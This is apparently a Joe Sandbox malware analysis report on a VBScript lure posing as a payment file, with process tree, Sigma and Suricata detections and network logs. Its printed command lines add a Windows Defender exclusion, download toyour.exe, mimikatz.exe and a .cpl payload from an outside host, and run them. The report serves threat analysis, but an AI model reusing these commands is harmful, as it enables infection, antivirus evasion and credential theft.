Edit tour

Windows Analysis Report
Payment_Activity_0104_2025-2-17.vbs

Overview

General Information

Sample name:	Payment_Activity_0104_2025-2-17.vbs
Analysis ID:	1617736
MD5:	c30620ce00ca002104127ea296b1fbdf
SHA1:	687f699b022988b5c02a558a113673cbff74153f
SHA256:	211fc16da28b008cb0f7624d9a1f7920068a4748af14adff1be889638295208a
Tags:	vbsuser-abuse_ch
Infos:

Detection

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Suricata IDS alerts for network traffic

VBScript performs obfuscated calls to suspicious functions

Adds a directory exclusion to Windows Defender

Joe Sandbox ML detected suspicious sample

Loading BitLocker PowerShell Module

Sample has a suspicious name (potential lure to open the executable)

Sigma detected: Control Panel Items

Sigma detected: HackTool - Mimikatz Execution

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: PowerShell Web Download

Sigma detected: Powershell Defender Exclusion

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1900 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Payment_Activity_0104_2025-2-17.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 4980 cmdline: "C:\Windows\System32\cmd.exe" /c powershell start-process msedge https://www.scribd.com/document/806838445/Bank-Statement MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6536 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7084 cmdline: powershell start-process msedge https://www.scribd.com/document/806838445/Bank-Statement MD5: 04029E121A0CFA5991749937DD22A1D9)

msedge.exe (PID: 4308 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.scribd.com/document/806838445/Bank-Statement MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 4836 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2292 --field-trial-handle=2040,i,3947211372183996386,11848747905540654316,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8280 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7036 --field-trial-handle=2040,i,3947211372183996386,11848747905540654316,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8288 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7196 --field-trial-handle=2040,i,3947211372183996386,11848747905540654316,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 9804 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=price_comparison_service.mojom.DataProcessor --lang=en-GB --service-sandbox-type=entity_extraction --mojo-platform-channel-handle=10856 --field-trial-handle=2040,i,3947211372183996386,11848747905540654316,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 1964 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-GB --service-sandbox-type=audio --mojo-platform-channel-handle=11468 --field-trial-handle=2040,i,3947211372183996386,11848747905540654316,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8356 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7292 --field-trial-handle=2040,i,3947211372183996386,11848747905540654316,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 6204 cmdline: "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\\WinXRAR MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5252 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7676 cmdline: powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\\WinXRAR MD5: 04029E121A0CFA5991749937DD22A1D9)

WmiPrvSE.exe (PID: 8856 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

cmd.exe (PID: 2292 cmdline: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/toyour.exe -Outfile C:\\WinXRAR\\toyour.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8884 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 9032 cmdline: powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/toyour.exe -Outfile C:\\WinXRAR\\toyour.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 9964 cmdline: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/mimikatz.exe -Outfile C:\\WinXRAR\\mimikatz.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 9972 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 10016 cmdline: powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/mimikatz.exe -Outfile C:\\WinXRAR\\mimikatz.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 10552 cmdline: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/ncpa.cpl -Outfile C:\\WinXRAR\\ncpa.cpl MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 10560 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 10672 cmdline: powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/ncpa.cpl -Outfile C:\\WinXRAR\\ncpa.cpl MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7820 cmdline: "C:\Windows\System32\cmd.exe" /c start /b control C:\\WinXRAR\\ncpa.cpl MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 10352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

control.exe (PID: 10880 cmdline: control C:\\WinXRAR\\ncpa.cpl MD5: 11C18DBF352D81C9532A8EF442151CB1)

rundll32.exe (PID: 9452 cmdline: "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL C:\\WinXRAR\\ncpa.cpl MD5: EF3179D498793BF4234F708D3BE28633)

cmd.exe (PID: 10000 cmdline: "C:\Windows\System32\cmd.exe" /c start /b powershell Start-Process -FilePath C:\\WinXRAR\\toyour.exe -WindowStyle Hidden MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 9052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 10016 cmdline: powershell Start-Process -FilePath C:\\WinXRAR\\toyour.exe -WindowStyle Hidden MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7748 cmdline: "C:\Windows\System32\cmd.exe" /c start /b C:\\WinXRAR\\mimikatz.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 10896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 3220 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Sigma Signatures

System Summary

Sigma detected: Control Panel Items

Source: Process started

Author: Kyaw Min Thein, Furkan Caliskan (@caliskanfurkan_): Data: Command: powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/ncpa.cpl -Outfile C:\\WinXRAR\\ncpa.cpl, CommandLine: powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/ncpa.cpl -Outfile C:\\WinXRAR\\ncpa.cpl, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/ncpa.cpl -Outfile C:\\WinXRAR\\ncpa.cpl, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 10552, ParentProcessName: cmd.exe, ProcessCommandLine: powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/ncpa.cpl -Outfile C:\\WinXRAR\\ncpa.cpl, ProcessId: 10672, ProcessName: powershell.exe

Sigma detected: HackTool - Mimikatz Execution

Source: Process started

Author: Teymur Kheirkhabarov, oscd.community, David ANDRE (additional keywords), Tim Shelton: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/mimikatz.exe -Outfile C:\\WinXRAR\\mimikatz.exe, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/mimikatz.exe -Outfile C:\\WinXRAR\\mimikatz.exe, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Payment_Activity_0104_2025-2-17.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1900, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/mimikatz.exe -Outfile C:\\WinXRAR\\mimikatz.exe, ProcessId: 9964, ProcessName: cmd.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\\WinXRAR, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\\WinXRAR, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Payment_Activity_0104_2025-2-17.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1900, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\\WinXRAR, ProcessId: 6204, ProcessName: cmd.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Payment_Activity_0104_2025-2-17.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Payment_Activity_0104_2025-2-17.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Payment_Activity_0104_2025-2-17.vbs", ProcessId: 1900, ProcessName: wscript.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/toyour.exe -Outfile C:\\WinXRAR\\toyour.exe, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/toyour.exe -Outfile C:\\WinXRAR\\toyour.exe, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Payment_Activity_0104_2025-2-17.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1900, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/toyour.exe -Outfile C:\\WinXRAR\\toyour.exe, ProcessId: 2292, ProcessName: cmd.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/toyour.exe -Outfile C:\\WinXRAR\\toyour.exe, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/toyour.exe -Outfile C:\\WinXRAR\\toyour.exe, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Payment_Activity_0104_2025-2-17.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1900, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/toyour.exe -Outfile C:\\WinXRAR\\toyour.exe, ProcessId: 2292, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Payment_Activity_0104_2025-2-17.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Payment_Activity_0104_2025-2-17.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Payment_Activity_0104_2025-2-17.vbs", ProcessId: 1900, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell start-process msedge https://www.scribd.com/document/806838445/Bank-Statement, CommandLine: powershell start-process msedge https://www.scribd.com/document/806838445/Bank-Statement, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell start-process msedge https://www.scribd.com/document/806838445/Bank-Statement, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4980, ParentProcessName: cmd.exe, ProcessCommandLine: powershell start-process msedge https://www.scribd.com/document/806838445/Bank-Statement, ProcessId: 7084, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3220, ProcessName: svchost.exe

Suricata Signatures

ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-18T08:20:07.813253+0100	2022112	1	Exploit Kit Activity Detected	192.168.2.5	49895	69.173.146.10	443	TCP
2025-02-18T08:20:09.429055+0100	2022112	1	Exploit Kit Activity Detected	192.168.2.5	49959	69.173.146.10	443	TCP
2025-02-18T08:20:10.744905+0100	2022112	1	Exploit Kit Activity Detected	192.168.2.5	50034	34.111.113.62	443	TCP
2025-02-18T08:20:10.837299+0100	2022112	1	Exploit Kit Activity Detected	192.168.2.5	50036	69.173.146.10	443	TCP
2025-02-18T08:20:11.412032+0100	2022112	1	Exploit Kit Activity Detected	192.168.2.5	50056	172.67.23.234	443	TCP
2025-02-18T08:20:11.796188+0100	2022112	1	Exploit Kit Activity Detected	192.168.2.5	50035	34.111.113.62	443	TCP
2025-02-18T08:20:16.002892+0100	2022112	1	Exploit Kit Activity Detected	192.168.2.5	50188	34.111.113.62	443	TCP
2025-02-18T08:20:21.595549+0100	2022112	1	Exploit Kit Activity Detected	192.168.2.5	50403	35.207.24.140	443	TCP
2025-02-18T08:20:23.153657+0100	2022112	1	Exploit Kit Activity Detected	192.168.2.5	50434	35.207.24.140	443	TCP

ETPRO MALWARE Observed GET Request for mimikatz.exe

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-18T08:20:16.401880+0100	2845089	1	A Network Trojan was detected	192.168.2.5	50175	185.39.18.56	443	TCP

Joe Security ANOMALY Windows PowerShell HTTP PE File Download

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-18T08:20:10.334037+0100	1810003	2	Potentially Bad Traffic	185.39.18.56	443	192.168.2.5	49980	TCP
2025-02-18T08:20:16.403261+0100	1810003	2	Potentially Bad Traffic	185.39.18.56	443	192.168.2.5	50175	TCP
2025-02-18T08:20:21.267459+0100	1810003	2	Potentially Bad Traffic	185.39.18.56	443	192.168.2.5	50340	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-18T08:20:10.323781+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49980	185.39.18.56	443	TCP
2025-02-18T08:20:16.401880+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	50175	185.39.18.56	443	TCP
2025-02-18T08:20:21.265346+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	50340	185.39.18.56	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.7% probability

Source: unknown	HTTPS traffic detected: 185.39.18.56:443 -> 192.168.2.5:49980 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.39.18.56:443 -> 192.168.2.5:50175 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.39.18.56:443 -> 192.168.2.5:50340 version: TLS 1.2

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2845089 - Severity 1 - ETPRO MALWARE Observed GET Request for mimikatz.exe : 192.168.2.5:50175 -> 185.39.18.56:443

Source: Joe Sandbox View	IP Address: 91.228.74.200 91.228.74.200
Source: Joe Sandbox View	IP Address: 216.22.16.4 216.22.16.4
Source: Joe Sandbox View	IP Address: 216.22.16.5 216.22.16.5
Source: Joe Sandbox View	IP Address: 162.159.61.3 162.159.61.3

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2022112 - Severity 1 - ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015 : 192.168.2.5:49895 -> 69.173.146.10:443
Source: Network traffic	Suricata IDS: 2022112 - Severity 1 - ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015 : 192.168.2.5:50035 -> 34.111.113.62:443
Source: Network traffic	Suricata IDS: 2022112 - Severity 1 - ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015 : 192.168.2.5:49959 -> 69.173.146.10:443
Source: Network traffic	Suricata IDS: 2022112 - Severity 1 - ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015 : 192.168.2.5:50056 -> 172.67.23.234:443
Source: Network traffic	Suricata IDS: 2022112 - Severity 1 - ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015 : 192.168.2.5:50036 -> 69.173.146.10:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:50175 -> 185.39.18.56:443
Source: Network traffic	Suricata IDS: 1810003 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP PE File Download : 185.39.18.56:443 -> 192.168.2.5:50175
Source: Network traffic	Suricata IDS: 2022112 - Severity 1 - ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015 : 192.168.2.5:50034 -> 34.111.113.62:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:50340 -> 185.39.18.56:443
Source: Network traffic	Suricata IDS: 1810003 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP PE File Download : 185.39.18.56:443 -> 192.168.2.5:50340
Source: Network traffic	Suricata IDS: 2022112 - Severity 1 - ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015 : 192.168.2.5:50403 -> 35.207.24.140:443
Source: Network traffic	Suricata IDS: 2022112 - Severity 1 - ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015 : 192.168.2.5:50434 -> 35.207.24.140:443
Source: Network traffic	Suricata IDS: 2022112 - Severity 1 - ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015 : 192.168.2.5:50188 -> 34.111.113.62:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49980 -> 185.39.18.56:443
Source: Network traffic	Suricata IDS: 1810003 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP PE File Download : 185.39.18.56:443 -> 192.168.2.5:49980

Source: global traffic	HTTP traffic detected: GET /document/806838445/Bank-Statement HTTP/1.1Host: www.scribd.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /webpack/monolith/8260.0186aa9e3e0089f26ff6.css HTTP/1.1Host: s-f.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /webpack/assets/fonts/source_sans_pro/regular/source_sans_pro_regular.latin.e8ecbdac.woff2 HTTP/1.1Host: s-f.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.scribd.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /webpack/assets/fonts/source_sans_pro/semibold/source_sans_pro_600.latin.76017e81.woff2 HTTP/1.1Host: s-f.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.scribd.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: OPTIONS /api/report?cat=bingbusiness HTTP/1.1Host: bzib.nelreports.netConnection: keep-aliveOrigin: https://business.bing.comAccess-Control-Request-Method: POSTAccess-Control-Request-Headers: content-typeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /AzZdHGSGtpxCq1Cpt/4e10b135-d113-4574-a477-270ace40bba7/osano.js?language=en HTTP/1.1Host: cmp.osano.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v3/ HTTP/1.1Host: js.stripe.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
